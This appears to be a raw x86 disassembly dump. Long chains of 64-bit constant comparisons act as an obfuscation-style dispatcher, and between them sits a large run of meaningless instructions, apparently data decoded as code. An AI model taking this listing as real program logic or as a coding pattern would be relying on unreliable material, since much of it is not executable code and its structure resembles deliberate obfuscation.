mov eax, dword [ebp - 0xe8]
xor eax, 0x790179d6
mov edx, dword [ebp - 0xe4]
xor edx, 2
or eax, edx
je 0x67d490bd
mov edx, 0x790179d6
mov eax, 2
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0xef549
or eax, dword [ebp - 0xe4]
je 0x67d4735b
mov edx, 0xef549
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0xee473
or eax, dword [ebp - 0xe4]
je 0x67d455f6
mov edx, 0xee473
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0xe5971
or eax, dword [ebp - 0xe4]
je 0x67d4210d
mov edx, 0xe5971
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0xdf495
or eax, dword [ebp - 0xe4]
je 0x67d46799
mov edx, 0xdf495
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0xddb6e
or eax, dword [ebp - 0xe4]
je 0x67d44453
mov edx, 0xddb6e
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0xd7ae1
or eax, dword [ebp - 0xe4]
je 0x67d432b0
mov edx, 0xd7ae1
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0xd43fc
or eax, dword [ebp - 0xe4]
je 0x67d40f6a
mov edx, 0xd43fc
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0xd096c
or eax, dword [ebp - 0xe4]
je 0x67d48adf
mov edx, 0xd096c
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0xc9b39
or eax, dword [ebp - 0xe4]
je 0x67d43891
mov edx, 0xc9b39
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0xaa12b
or eax, dword [ebp - 0xe4]
je 0x67d46d7a
mov edx, 0xaa12b
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0xa6be7
or eax, dword [ebp - 0xe4]
je 0x67d45015
mov edx, 0xa6be7
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0x90a95
or eax, dword [ebp - 0xe4]
je 0x67d45bd7
mov edx, 0x90a95
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0x8b29f
or eax, dword [ebp - 0xe4]
je 0x67d43e72
mov edx, 0x8b29f
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0x663f1
or eax, dword [ebp - 0xe4]
je 0x67d41b2c
mov edx, 0x663f1
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0x4e8db
or eax, dword [ebp - 0xe4]
je 0x67d42ccf
mov edx, 0x4e8db
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0x49a2d
or eax, dword [ebp - 0xe4]
je 0x67d461b8
mov edx, 0x49a2d
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0x3f243
or eax, dword [ebp - 0xe4]
je 0x67d426ee
mov edx, 0x3f243
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0x3e3f1
or eax, dword [ebp - 0xe4]
je 0x67d484fe
mov edx, 0x3e3f1
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0x3c696
or eax, dword [ebp - 0xe4]
je 0x67d47f1d
mov edx, 0x3c696
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0x2bb3a
or eax, dword [ebp - 0xe4]
je 0x67d4793c
mov edx, 0x2bb3a
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67d490c0
mov eax, dword [ebp - 0xe8]
xor eax, 0x152ef
or eax, dword [ebp - 0xe4]
je 0x67d4154b
mov eax, dword [ebp - 0xe8]
xor eax, 0x16cc8
or eax, dword [ebp - 0xe4]
je 0x67d44a34
jmp 0x67d490c0
iretd
cmpsb byte [esi], byte es:[edi]
xor edx, dword [edx + 0x1e4b48c4]
push edx
and ebx, edx
in eax, dx
invalid
sub cl, byte [edi - 0x56]
or dword [eax - 0x367f75c8], eax
sub eax, 0xfa053f7b
fdiv qword [edx]
xor byte [eax - 0x6ee07690], al
das
mov word [ebx + 0x32], ds
lahf
invalid
sahf
adc al, 0xe
movsd dword es:[edi], dword [esi]
lcall 0x248d, 0x8113a4c7
jns 0x67d42114
jmp 0x95a8108b
jg 0x67d420da
retf
and al, 0xe1
test byte [0x7ab9897d], al
test byte [edx], 0x2d
idiv byte [eax + 0x43851fa4]
pop ss
jl 0x67d42128
cmp al, 0xe7
xor ebx, esp
pop es
push ebx
leave
xchg ebp, eax
and esp, dword [esi + ebx + 0x17]
dec esp
invalid
arpl word [0x35043e5e], bp
mov ss, word [0x701ee843]
sbb al, 0xa8
invalid
paddq mm2, qword [ebx]
fbld tbyte [0x64c606e0]
adc edx, dword [ecx]
adc edx, dword fs:[ecx]
out dx, eax
cwde
pop ss
out dx, eax
xor ah, bl
cdq
sub dword [eax - 0x47], ebp
adc byte [esi - 0x26], cl
xchg ebx, eax
fmul dword [edx]
test dword [esi], eax
loope 0x67d42cd7
daa
xchg ebp, eax
popal
xlatb
loop 0x67d42d3d
pop esp
out dx, eax
iretd
dec ecx
invalid
test dword [ebp + 0x72561e79], esi
call 0x3b528aa9
xor byte [eax - 0xd94736b], bh
scasd eax, dword es:[edi]
mov ah, 3
invalid
lea ecx, [eax]
jl 0x67d4326d
outsd dx, dword [esi]
adc esi, esi
adc byte [ebx], 0xa6
xor eax, 0xa69a8123
rcr dword [edx - 0x38ef7c82], 1
salc
fnstenv [ebx - 0x10]
adc esi, 0xffffffdb
xchg ebp, eax
fldcw word [0xdb1f0079]
add al, 0x5e
invalid
add eax, 0x1329f397
jnp 0x67d4389a
mov edi, 0x8ac12fa0
mov ebp, 0xdbfe841c
das
ror dword [edx - 0x17be343], 0xdb
fld st(3)
sub al, bl
sub eax, 0x4e2a459d
in al, dx
insb byte es:[edi], dx
cmp dword [ebp + 0x56], edi
pop esp
cmp eax, 0x6a380803
jnp 0x67d4389a
insd dword es:[edi], dx
inc ah
enter 0x1e0e, 0xffffffffffffff97
invalid
push ebp
dec ecx
push edi
cmpsb byte [esi], byte es:[edi]
mov dword [edi + 0x44eb233c], ecx
nop
inc edi
stosb byte es:[edi], al
dec edi
aas
push es
jg 0x67d43ea4
js 0x67d43ebe
ror byte [esi + 0x71db4975], cl
push eax
stc
popal
into
xor eax, 0x90985e15
int3
xchg esi, eax
lodsd eax, dword [esi]
scasd eax, dword es:[edi]
lds esi, [ecx]
sub ah, byte [ecx + 0x64]
stc
cld
xchg byte [edx + 0x6744d239], cl
add dword [ebx + 0x29], 0xb5c58035
cmp ebx, dword [0x62c65ab7]
shl word [edi + 0x73], 1
sub ecx, dword [edx - 0x4a]
push ss
mov ecx, 0xd384cc24
mov es, esi
xor ah, byte [ecx + 0x2c]
test al, 0xcf
cmp esi, eax
out dx, al
pop edx
mov bl, 0x36
cmp dword [edi], esi
or eax, 0xc3a0f7ce
jl 0x67d43e49
pop edi
cli
test al, 0x1f
popfd
inc ebp
iretd
mov edi, 0x271a33ea
mov dh, 0xd9
pop edx
push ss
mov ecx, 0xb6fa7d31
popal
iretd
leave
mov ebp, ebx
popal
cmpsb byte [esi], byte es:[edi]
movsb byte es:[edi], byte [esi]
xchg ch, bl
fst dword [ebx]
enter 0xffffffffffffdfe0, 0xffffffffffffffee
sbb eax, 0x43f6455a
inc ebx
mov edi, 0x7037f434
mov esi, 0x903f9845
int3
pop eax
inc ebx
mov edx, dword [ebp - 0x69]
fst qword [ecx]
test al, 0x1f
jnp 0x67d44316
inc eax
mov gs, word [esi]
mov edx, 0x19eef7db
loope 0x67d44304
sbb edx, dword [eax]
iretd
outsd dx, dword [esi]
dec bl
inc esi
pop esp
movsb byte es:[edi], byte [esi]
add byte [ebp - 0x40e7fe6b], 5
loopne 0x67d4435b
scasd eax, dword es:[edi]
pushfd
leave
push 0xdab4feed
outsd dx, dword [esi]
sub bh, ah
pop es
sal dword [edi*4 - 0x51d39e48], 0x41
mov ah, 0xeb
rcl dword [edi]
inc ecx
pop esi
cmpsd dword [esi], dword es:[edi]
fnsave dword [edx]
sal dword [edi + 0x69b95647], 0x74
fadd qword [eax - 0x47]
int3
scasd eax, dword es:[edi]
pushal
out 0x35, al
mov ss, word [edx + 0x2a]
mov al, 0xd8
dec esi
xchg edi, eax
mov edi, 0x35c2ae61
and dh, bl
sub eax, 0xe212341f
jne 0x67d443a5
mov ecx, 0xf9e95ab
push edx
pop es
aaa
push esi
ror byte [edi + 0x160c4a2], cl
jnp 0x67d44444
xor cl, 0x5f
adc dword [esi], 0xb74ad845
in eax, dx
shl bl, 0x91
outsb dx, byte [esi]
salc
inc esi
inc ecx
adc eax, 0xf695d068
popfd
loope 0x67d44444
mov ecx, 0xb400d787
rcl eax, 0xca
in eax, dx
loope 0x67d444b7
adc al, 0xa5
fadd dword [edx]
mov edx, 0x9993206e
cdq
push ebp
cmp dh, byte [esp + ebx*8 - 0x336ff33f]
jmp 0x67d490c1
push fs
add al, 0x15
aad 0xe3
dec edx
ja 0x67d443eb
mov esi, 0x7d6b87b0
outsd dx, dword [esi]
adc eax, 0xa11bd10f
fbld tbyte [edx]
rol byte [ebx + 6], cl
mov cl, 0x41
mov ebp, 0xd3ca93b2
int 0xc
mov edx, dword [edx]
pop eax
add al, 0xae
pop ebx
pop ss
mov eax, dword [0xb9cc2fc]
fdiv st(1)
wait
and byte [ebx + 0x47], cl
inc edi
invalid
sub dword [eax - 0x1f], ecx
nop
int3
adc byte [esi - 0x49], ch
rol dword [edx], 1
outsd dx, dword [esi]
push 0x96e584bf
inc esi
pop esi
adc al, 0xd5
out dx, eax
xlatb
jnp 0x67d44489
daa
xor bh, byte [edx]
movsb byte es:[edi], byte [esi]
sbb eax, 0x27ab4f23
js 0x67d444b2
dec edi
inc eax
sub al, 0xed
cmp dword [esi - 0x53], edx
jecxz 0x67d44488
cld
dec ecx
xchg edi, eax
wait
xor al, cl
dec ecx
loop 0x67d4450d
invalid
adc eax, 0xe8a06fed
or eax, 0x43c0ef3
cwde
cmp edx, dword [eax + 0x5c6692cc]
and ebp, ecx
cmp eax, 0x374a8a34
sbb dword [ebx + 0x2b], edx
cdq
adc eax, 0x4fcc505c
out 0xc9, eax
cmp dl, byte [edi]
adc eax, 0x7cf22d7
invalid
lock add ecx, dword [ebp + edi + 8]
enter 0xebd, 3
add eax, 0xb06cd959
cli
xchg esp, eax
in al, 0x29
and byte [esi + 0x3ff268bf], al
shr dword [ebp + 0x7b], 1
mov eax, 0x5fa8c7cf
push ebp
and bh, al
jle 0x67d44aac
fisub word [eax - 0x6c]
dec esi
sahf
outsb dx, byte gs:[esi]
pop eax
in al, 0xc4
cmp edi, ebp
cld
bound ebp, qword [ecx - 0x5d]
inc edx
nop
xor byte [eax + 0x57], bh
les ebp, [eax + ebx]
mov al, byte [ecx]
mov bl, 0xb
stosb byte es:[edi], al
mov edi, esp
inc eax
mov edx, 0x2bbd0366
aam 0x76
cli
mov ebx, 0x53892239
enter 0xeab, 0xffffffffffffff96
int3
out dx, al
pop ds
and al, 0xd3
pop eax
and dword [edx + 0x46d99c07], 0xfffffff2
xor eax, 0x54dd64cd
stosd dword es:[edi], eax
lahf
sbb bl, byte [ebx + 5]
adc al, byte [ebp + 0xbe0323c]
std
leave
cmp edi, ebx
pop ss
xchg esp, eax
popal
pop ss
inc edx
push edi
fnstcw word [ebp + 0x70538bb2]
sub dword [ecx], esp
popfd
mov edx, 0x50a89f17
pushfd
arpl word [esi - 0x1b], cx
dec esp
pop ebx
mov dh, ah
xchg ebx, edi
mov ch, 0x36
cmc
ret 0x63b0
xor al, 0x84
push 0xffffffffffffff84
sbb byte [eax + 0x6bd6cbb0], cl
hlt
aaa
scasb al, byte es:[edi]
cmp dword [edx + 0x51], ecx
pop edi
push ds
jno 0x67d45664
add eax, 0x9d525eee
add eax, 0x9d525eee
xchg byte [edx + 0x49], dh
mov dh, 0x8e
adc ch, 0x50
enter 0xffffffffffff8c32, 0x69
fisttp dword [ecx + edx*2 + 0x772f923a]
fst st(0)
pushal
invalid
jne 0x67d455fe
sub dword [edx + edi + 1], ebx
mov ss, word [ebp - 0x4fd4484a]
pop edx
nop
int3
call 0x152b0fb2
lodsb al, byte [esi]
jbe 0x67d4564b
insd dword es:[edi], dx
mov al, 0x3d
sbb dword [eax], ebp
neg byte [ecx]
mov bl, 0xa1
sbb dword [0x8eb7d2a7], edi
push 0xc29af020
mov gs, word [esi - 0x5e]
int1
cmpsd dword [esi], dword es:[edi]
stosd dword es:[edi], eax
adc dword [edi - 0x2f7f1dd9], eax
mov edx, dword ds:[edx - 0x49bfe44e]
cmp ch, byte [ebx + 0x68]
push es
test byte [esi + 0x18], bl
inc esi
sub byte [edx], 0x54
dec esi
mul dword [ecx + edx*2 - 0x5a3a0fe]
or eax, dword [ecx]
cmpsd dword [esi], dword es:[edi]
rol byte [ecx - 0x3e], 0x1e
cmpsb byte [esi], byte es:[edi]
sbb dh, cl
in eax, dx
mov dword [0x7300cccb], eax
sub ch, byte [esi + edx*8 + 0xe]
xchg esi, eax
nop
int3
cmp al, 0x95
push ds
invalid
xchg edi, eax
invalid
add al, 0x96
aaa
dec edx
salc
int 0xc4
xchg esp, eax
mov ebx, 0xf44f357f
mov dword [edx + ebx*4 + 0x48], ebp
adc dword [ecx], 0xe01e49d1
jb 0x67d4616f
inc ebx
jne 0x67d460f8
sub al, byte [ebx - 0x70]
int3
sub eax, 0x476a67e4
std
jno 0x67d461ab
clc
test al, 0x2b
push esi
dec ebx
sub edx, dword [esi + 0x4b]
sbb eax, 0xc77c6872
jae 0x67d4612e
add al, 0xba
scasd eax, dword es:[edi]
pop es
inc ecx
sbb byte [edx - 0x5a87c7ba], ah
jne 0x67d461ef
sub eax, 0x3f354f11
push esp
pop es
insb byte es:[edi], dx
xor eax, 0x6c07543f
add dh, byte [ebx + 0x2c]
aam 0xd
or dword [ecx*8 - 0x7491f4b4], ecx
add esp, dword [ecx + 0x2d9a2a5b]
imul ebp
sub eax, 0x3d82a599
salc
xor dword [ebx + 0x58], eax
pop eax
ja 0x67d46165
dec ebp
and ah, byte [ecx - 0x70]
int3
clc
je 0x67d46189
aam 0x28
stosb byte es:[edi], al
inc ebx
leave
mov ecx, 0x8cde74aa
int3
jle 0x67d461a2
out dx, al
xor ebp, dword [edi + 0x4f1a218]
sub al, 0x22
and dword [ebp + ebx*8 + 0x4958585e], ebp
jns 0x67d461bb
and ch, dl
invalid
rol byte ds:[edi + 0x61e1b2e5], 0x7a
sbb al, 0x7d
imul ebx, eax, 0xcf965f6a
sti
test dh, al
fimul word [bp + si]
mov al, byte [0x5f8de9ef]
leave
aas
insd dword es:[edi], dx
sar dword [edx], cl
imul edx, dword [edi - 0x16], 0xd1e6d10a
shr byte [ecx - 0x336f0656], 0xd9
jbe 0x67d461a0
push ds
stosb byte es:[edi], al
jecxz 0x67d461d0
cmpsb byte [si], byte es:[di]
mov cl, 0x2b
and edi, esp
sub dl, byte [ecx + 0x3ce04c23]
dec esp
loopne 0x67d4626d
jecxz 0x67d4628c
out dx, eax
add dword [esi + 0x7a45c046], esi
pop esi
push esp
jo 0x67d4622e
sub dl, dh
jle 0x67d46278
in al, 0xd1
mov byte fs:[0xc0e92c81], al
push ebp
retf 0xcce2
insd dword es:[edi], dx
xchg ebx, eax
push edx
repne cmpsd dword [esi], dword es:[edi]
sti
xchg esi, eax
sbb eax, 0x622aa1b6
bound esp, qword [edx - 0x6f4c2792]
int3
bound esp, qword [edx - 0x5e]
outsb dx, byte [esi]
fdiv dword [ebx - 0x1be83370]
aaa
pop ds
stc
pop ss
pop edx
xor eax, 0x7b2b10b9
mul byte [ecx - 0x61eebe5e]
and eax, 0xe57f6430
salc
mov dl, 0xa4
fist word [esi - 0xca2cad0]
pop esp
inc ebx
xor dword [esi - 0x21], ebx
scasd eax, dword es:[edi]
mov ebx, 0x5f27d41f
loopne 0x67d46234
sbb dh, byte [ebp - 5]
add eax, 0xe56f8808
salc
popfd
rcr byte [ebx - 0xd94555f], cl
in al, dx
pop esp
invalid
sbb al, 0x9e
jno 0x67d4677e
daa
add al, 0xcf
test dh, bl
sub eax, 0xf87d0150
and al, 0x16
mov ch, 0x75
mov byte [ebx - 0xd], bh
xchg byte [esi - 0x2055f8cd], al
enter 0x50c5, 0x68
in al, 0x6e
popal
push ebp
aad 0xbf
push esi
test eax, 0x5d921a19
mov eax, dword [0x9a1f77cc]
sub eax, 0x78eb55a2
arpl word [esi], si
jle 0x67d46756
int3
sub dl, byte [esi]
add cl, byte [0xcc90dec0]
jmp 0x67d490c1
add ah, dl
sbb ecx, dword [ebp + 0x214b5d1e]
dec edx
mov cl, 0x6f
aam 0x1b
lea ebx, [esi]
pop ebp
dec ebx
and dword [edx - 0x4f], ecx
outsd dx, dword [esi]
dec eax
push cs
xor eax, 0x41d94563
jne 0x67d46753
and byte [esp + esi*4], 0x84
xor eax, 0x8dd7c337
leave
adc bh, ch
jge 0x67d46815
pop ebp
shl dword [ecx + ebx*2 - 0x7647822c], 1
loopne 0x67d46806
jmp 0xbde67342
add eax, 0xfdef7628
push ecx
xor eax, 0xf6b0c808
jno 0x67d467fe
in al, 0xb1
cmpsb byte [esi], byte es:[edi]
mov eax, dword [ebx]
or dword [eax - 0x67895a34], edx
jbe 0x67d46798
retf
mov bl, 0xe2
push esp
rcl byte [ebx], cl
mov edx, dword [edi]
mov al, byte [0x459624fd]
sub ebx, dword [ebx]
xlatb
bound ebx, qword [ebp + 0x46]
add dword [esi - 0x29], edi
out dx, al
adc al, 0xc1
cmpsb byte [esi], byte es:[edi]
cmp ah, bh
jl 0x67d4682c
cmp al, 0xae
loopne 0x67d467e8
jp 0x67d46869
push edi
push eax
mov edi, 0x48155b12
js 0x67d46856
adc ebp, edx
sbb edi, ebx
aad 0x1b
sti
loopne 0x67d4689f
xchg dword [esi + 0x79], esi
mov eax, edx
or eax, 0xfb415fe4
adc dword [ebp + 0x5ffd1505], 0xd3ea2ed6
lcall 0xe364, 0xec360b37
cmp ebx, dword [ebp + 0x242c4038]
invalid
popfd
cmp byte [eax + 0x2c], al
and al, 0xf0
push cs
enter 0xffffffffffff90df, 0xffffffffffffffcc
movsb byte es:[edi], byte [esi]
mul byte [edi]
lcall 0x7f5f, 0x8ebc2c8a
enter 0xffffffffffff9f32, 0x7c
cwde
inc ebx
or eax, edi
pop edi
jg 0x67d46834
xor bl, byte [edi + 0x943987c]
clc
stc
imul edx
adc ah, byte [0xb792506c]
aas
sbb eax, 0xa92f2e33
fcomp dword [ebx + 0x9f2fcd]
mov esp, 0xc1114ae4
push cs
lodsd eax, dword [esi]
adc dword [ecx + 0x7944d08], esi
pop dword [eax]
invalid
call 0xe7a6fd43
salc
cmp dword [ecx + 0x49], edx
nop
sbb edi, dword [0xf6767255]
mov gs, word [ecx]
sub edi, dword [edi]
leave
invalid
pop edx
push cs
cmp eax, 0xece76d67
dec ebx
out 0xda, al
test eax, 0xdc12aa50
mov cl, 0xb6
cli
clc
adc dword [edx + edx + 0x62041ca], esi
sub ch, dh
xchg ebp, eax
add bl, bl
xchg byte [eax + 0x37074a95], al
xor ecx, dword [eax + 0x3fbbd44]
arpl di, sp
adc dword [eax + 0x1c], ecx
jle 0x67d46dae
mov dh, 0xc5
push ss
cmp cl, byte [esi + edi*4 + 0x67b41d3]
jge 0x67d46df8
inc eax
fld dword [ecx + 0x33]
mov ebx, 0xa0d1c109
pop ds
sbb edi, esp
fld st(7)
adc cl, byte [ebx - 0x6abe89e5]
test byte [edx], al
xor al, 0xf9
invalid
sbb eax, 0x917914d8
adc al, 0x79
xchg ecx, eax
add eax, esp
sub al, 0xe3
xchg ebp, eax
ja 0x67d46df6
xor dword [ecx + edx*2 + 0x3e098cae], edi
outsd dx, dword [esi]
jge 0x67d46db7
adc dword [edi + 0x4a], eax
xor al, 0xe6
ret 0x6e3c
or ch, bl
dec ebx
pop es
mov edx, 0xa99f14a1
out dx, eax
mov dl, 0xfd
invalid
test eax, 0x2c7fa754
xor byte [edi - 0x2b336f70], dl
and byte [edi - 0x6f], bh
inc esp
adc edx, dword [ebx - 0x57]
aaa
and al, byte [esi]
pop es
js 0x67d472c6
invalid
mov al, 0xc
lcall 0xec3f, 0xf5e6d053
add al, 0xab
jno 0x67d472e8
sbb dword [edi + 3], ebp
nop
int3
pop ebx
push edi
xchg ecx, eax
out dx, eax
sbb byte [eax + ecx*8 - 0x29210848], bh
dec ebp
dec esp
adc dword [edx + 0x7617c76a], 0x55
in al, dx
in eax, 0xaa
lodsd eax, dword gs:[esi]
sbb byte [ecx - 0x26], 0xb9
dec edx
shl ah, cl
inc esi
xchg ecx, eax
cwde
xchg esi, eax
xchg esi, eax
sbb bl, byte [ecx]
fidivr dword [ebp + 0x7aa13494]
xor eax, 0xe5d6a2c6
mov cl, 0xa0
mov ebp, 0xf066ed51
inc ebp
pop ebx
loopne 0x67d47344
pop edi
ror byte [ecx + 0xf], 0x36
sub al, 0x52
mov dl, 0xa4
sal edi, 0x74
jno 0x67d473b6
push es
push ds
invalid
outsd dx, dword [esi]
sahf
into
imul esp, dword [esi - 0x29], 0xffffffcd
nop
int3
pop dword [esi]
stc
mov edx, 0x529d86e6
mul dword [esi - 0x44]
out 0xb9, eax
lar esp, word [ebx]
adc eax, 0x7d6dfc00
push ecx
scasb al, byte es:[edi]
mov esi, 0x610a2ac1
mov edi, 0xf8545b48
fmul st(6), st(0)
inc edi
xor al, cl
or dword [eax - 0x1367b714], 0xffffffae
push esi
salc
push cs
sub bl, bl
salc
cmp ebp, 0x4a043d76
retf
ljmp 0x559a:0x1893aea7
out 0x86, al
shr ecx, 0xf5
nop
int3
jle 0x67d484f2
xchg ebx, eax
jl 0x67d48581
push eax
pop eax
out 5, eax
int 0x4f
xor ah, byte [ebx + 0x1fbaa673]
adc ecx, dword [esi + 0x2f]
mov edx, 0x2f4e131f
cmp dword [ebx + ebx*4], eax
xor ah, dl
or dl, byte [eax - 0x4bee28e8]
int3
sbb bh, dl
adc dword [esp + ecx*8 - 0x352e67e7], esi
je 0x67d4850d
fst dword [0x42655b55]
invalid
js 0x67d48519
popal
xchg cl, cl
xchg edi, eax
stosd dword es:[edi], eax
mov ah, 0xd4
pop eax
or eax, 0x7ef1ca0a
fcmovb st(0), st(6)
mov word [esi - 0x35], cs
nop
int3
bswap edi
pop ebx
sbb eax, edx
dec edx
stosd dword es:[edi], eax
push esi
jns 0x67d4854c
in eax, 0x5a
mov byte [0xc46de02d], al
lcall 0x17b, 0x3984eb00
invalid
rcl dword [edi + 0x5de01d0], 0xe2
invalid
nop
jmp 0x67d490c1
nop
mov eax, dword [0x680a5014]
call eax
mov dword [ebp - 0xec], eax
jmp 0x67d85599
mov dword [ebp - 0xf8], 0xbcaa4
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0x100], 0xc47ae
mov dword [ebp - 0xfc], 0
mov eax, dword [ebp - 0x100]
mov edx, dword [ebp - 0xfc]
sub eax, dword [ebp - 0xf8]
sbb edx, dword [ebp - 0xf4]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], edx
mov eax, dword [ebp - 0x108]
xor eax, 0xeb889
or eax, dword [ebp - 0x104]
je 0x67d4c3f0
mov edx, 0xeb889
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0xd0419
or eax, dword [ebp - 0x104]
je 0x67d4c9d1
mov edx, 0xd0419
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0xcef75
or eax, dword [ebp - 0x104]
je 0x67d4ed17
mov edx, 0xcef75
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0xcdf9d
or eax, dword [ebp - 0x104]
je 0x67d4f8d9
mov edx, 0xcdf9d
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0xbfe89
or eax, dword [ebp - 0x104]
je 0x67d4a0aa
mov edx, 0xbfe89
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0xbe84d
or eax, dword [ebp - 0x104]
je 0x67d4a68b
mov edx, 0xbe84d
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0xbbb8b
or eax, dword [ebp - 0x104]
je 0x67d4f2f8
mov edx, 0xbbb8b
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0xa1d74
or eax, dword [ebp - 0x104]
je 0x67d4ac6c
mov edx, 0xa1d74
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0x9abbc
or eax, dword [ebp - 0x104]
je 0x67d4d593
mov edx, 0x9abbc
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0x6d323
or eax, dword [ebp - 0x104]
je 0x67d4e736
mov edx, 0x6d323
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0x669ea
or eax, dword [ebp - 0x104]
je 0x67d4be0f
mov edx, 0x669ea
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0x66659
or eax, dword [ebp - 0x104]
je 0x67d4cfb2
mov edx, 0x66659
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0x5efad
or eax, dword [ebp - 0x104]
je 0x67d4db74
mov edx, 0x5efad
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0x5dbdc
or eax, dword [ebp - 0x104]
je 0x67d4b82e
mov edx, 0x5dbdc
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0x5ae98
or eax, dword [ebp - 0x104]
je 0x67d4e155
mov edx, 0x5ae98
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0x583d2
or eax, dword [ebp - 0x104]
je 0x67d494e8
mov edx, 0x583d2
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0x2fd60
or eax, dword [ebp - 0x104]
je 0x67d49ac9
mov edx, 0x2fd60
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0x25d97
or eax, dword [ebp - 0x104]
je 0x67d4feba
mov edx, 0x25d97
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x67d50498
mov eax, dword [ebp - 0x108]
xor eax, 0x7d0a
or eax, dword [ebp - 0x104]
